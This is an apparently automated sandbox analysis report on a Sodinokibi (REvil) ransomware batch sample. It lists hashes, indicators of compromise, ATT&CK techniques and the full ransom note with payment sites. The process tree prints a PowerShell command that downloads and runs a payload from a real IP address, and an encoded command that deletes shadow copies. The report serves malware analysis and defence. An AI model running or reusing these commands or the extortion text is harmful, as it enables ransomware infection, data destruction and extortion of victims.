sodinokibi | 94d89a44ea5da3649df80f6898cb30415f2df92c0060d36d5f9afa3806862a2a

General

Target

74b8e8ad8fe5aea82ec95a707e3c2b94.bat
Size

214B
MD5

220dc0fc858c664ba5223cbab7e4b312
SHA1

94f095bd648c7c3f4845e3c419b74baa7662f2ae
SHA256

94d89a44ea5da3649df80f6898cb30415f2df92c0060d36d5f9afa3806862a2a
SHA512

119c413acb39f51f4d668c5bc48793f60b91717e1623e22d666221c26e78cfa3667e7aa2141b26e15aa3936d86ba498ae280decd9889a77f8706459d0f295772

Score

10^/10

ransomware persistence sodinokibi

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/74b8e8ad8fe5aea82ec95a707e3c2b94

Extracted

Path

C:\ysm83m-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension ysm83m. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/CFB753AC85BE73BF 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/CFB753AC85BE73BF Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: Vhvlj5h05BkFWaVAmEvaCDVLDtBvP/Sqpbjx1pxTECzq00OeLCBzd4dKj8yJ+WNa 3K0vQklmZgN/C7Cx7+lzpfb06dOCZS/fUeBIknazwx43AEP9HwmgujY8Ft/OKTv9 RQU0ojIOsKqSDomM+t0pbJqB2NB17QHZlvHRDVjmnNp2xpx+xa4f3t+yKiCS5UCC RYyhz8KJCdK7i26wPD31287SmnoLQNI7aUbseq7mPmP3wyBUjncdE5MJ9ShDwUcg gA4F7i0iJYiSAhBdTismwtlE0CpgWF44zh7YeRWelWHlJiURv03PUF5bqhPAT+DJ 0AP8/VjE4y0ffJWjgkOBnPF/dXPZKQQxrfg10pnJLyFUL0+l7tQdpl06YcBinRwo 5EFSmupb03CgBwqED73hQqWDHGzagTfJ+2nzWfDB/I2vd+VhJ80TqF8d4ZK7mYvJ 9vajL7cw1+lTlekWqkxswzegg6IzuE1iQMkL/47fMPf8L0MLU7fXzNNJiM4KwDwc iwop9etSMoGL+BUoqWdTTQNKjFRfCWEULZaiw1icin+7SW88sd+iehAZsCp5O6fg hoNxLTxnTSXtmSwHOctaB2BKcN5Xco5pyVesomIugON1iNhJo9Fs/fcxdg5qKcdu YHza87CAOkNoi8aGXVu2nwxwBjp754AQdLPO3fsBbZ82QnhddcELyBFmZoL1KChm qdabWPu+trTKpnM/STIdGKHnUSTkvh2rnD7sjdG7EGNosVQzamPHQ9kyGawemIVu 9/Pv29xFzbXtdJrTBmiuEh4/tRqBJYxj+RccjyKq/9soA6Prgu3NxN/lnv2Xx+Hi Vyd+UpWMjMrFqHDKnpuSrbouhLhn9V5qH/4ctlh85o8PncplOZ5T/LpLw+dRHF06 6CFDZvrjHmH9ZD5LX3RarfGx4nITFyyEEn5O5nIdpT2P11jTLkVQwLexsv8Plgt1 Nz2jDhsHzqf1Bs45lshExaBWjdfS7XwMMQBwvqnQpzxeH3CncBxjq4GMIV1Yb+Wj 5CLM2FAwI9aJQIJwD/GJIgWOKAZU7uLDGspkuFu4RxSpyBeyd/qFfEXi3pnK840U jw+pqE0dFjcGvmdTwtACsAipocThvqhIraOIm41vT1URd9hGAr7UOLOBp/lt/I0S EMcCbojk5dTgl85LLVgwoWJ8zZrQnyOS6XZGk6on2NcuMim26le7eGznt2bmDrqf sKpp5AtYZXEMQ5TZYW/WRdhXFpFP5YbKCisN6GcylmDXVFAMUpBDFlA18a3SuOKX jv8HQPL4nYqmO2IwYJRSlh2IN0LjED91H3OBm8V/S3w= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/CFB753AC85BE73BF

http://decryptor.cc/CFB753AC85BE73BF

Signatures

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	108	powershell.exe
Token: SeDebugPrivilege	108	powershell.exe
Token: SeDebugPrivilege	1172	powershell.exe
Token: SeBackupPrivilege	464	vssvc.exe
Token: SeRestorePrivilege	464	vssvc.exe
Token: SeAuditPrivilege	464	vssvc.exe
Token: SeTakeOwnershipPrivilege	108	powershell.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Drops file in Program Files directory 26 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\InitializeSubmit.vstm	powershell.exe
File opened for modification	\??\c:\program files\RegisterGet.mp4	powershell.exe
File opened for modification	\??\c:\program files\UseWait.mpeg	powershell.exe
File opened for modification	\??\c:\program files\CloseCompare.001	powershell.exe
File opened for modification	\??\c:\program files\DenyAssert.3gp2	powershell.exe
File opened for modification	\??\c:\program files\DebugConnect.shtml	powershell.exe
File opened for modification	\??\c:\program files\NewMount.3gpp	powershell.exe
File opened for modification	\??\c:\program files\PushPop.MTS	powershell.exe
File opened for modification	\??\c:\program files\RenameSplit.gif	powershell.exe
File opened for modification	\??\c:\program files\UnblockExpand.dot	powershell.exe
File opened for modification	\??\c:\program files\WatchLimit.jpeg	powershell.exe
File created	\??\c:\program files (x86)\ysm83m-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\CheckpointNew.pcx	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\ysm83m-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\RedoRestart.asf	powershell.exe
File opened for modification	\??\c:\program files\SkipExpand.ttc	powershell.exe
File opened for modification	\??\c:\program files\SyncExit.TS	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\ysm83m-readme.txt	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\ysm83m-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ConvertFromCompare.aiff	powershell.exe
File opened for modification	\??\c:\program files\MergePop.gif	powershell.exe
File opened for modification	\??\c:\program files\MountCopy.docx	powershell.exe
File opened for modification	\??\c:\program files\ProtectRevoke.xla	powershell.exe
File opened for modification	\??\c:\program files\WatchSync.vb	powershell.exe
File created	\??\c:\program files\ysm83m-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ClearUnlock.snd	powershell.exe

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1524 wrote to memory of 108	1524	cmd.exe	powershell.exe
PID 108 wrote to memory of 1172	108	powershell.exe	powershell.exe
PID 108 wrote to memory of 1172	108	powershell.exe	powershell.exe
PID 108 wrote to memory of 1172	108	powershell.exe	powershell.exe
PID 108 wrote to memory of 1172	108	powershell.exe	powershell.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

108 powershell.exe
108 powershell.exe
108 powershell.exe
1172 powershell.exe
1172 powershell.exe
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

1 108 powershell.exe

pid	process
108	powershell.exe
108	powershell.exe
108	powershell.exe
1172	powershell.exe
1172	powershell.exe

flow	pid	process
1	108	powershell.exe

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

108 powershell.exe

pid	process
108	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\74b8e8ad8fe5aea82ec95a707e3c2b94.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1524

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/74b8e8ad8fe5aea82ec95a707e3c2b94');Invoke-ZUMTYKU;Start-Sleep -s 10000"
2⤵
- Suspicious use of AdjustPrivilegeToken
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:108

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1172

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
- Modifies service
PID:464

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2f8f6cc7-ae83-4f79-b06e-2b9a49e06c5b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3f934678-4276-4d7d-9a2b-7ccacecf398b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_670419ca-9b90-4e9d-a6c5-f73b7563d382

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9065e065-05e7-4eaa-bb93-1db6da178e99

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a3b7b651-7089-41b5-9155-3fb877609508

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b7a807a3-f6b6-4397-972a-e9e81988f869

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads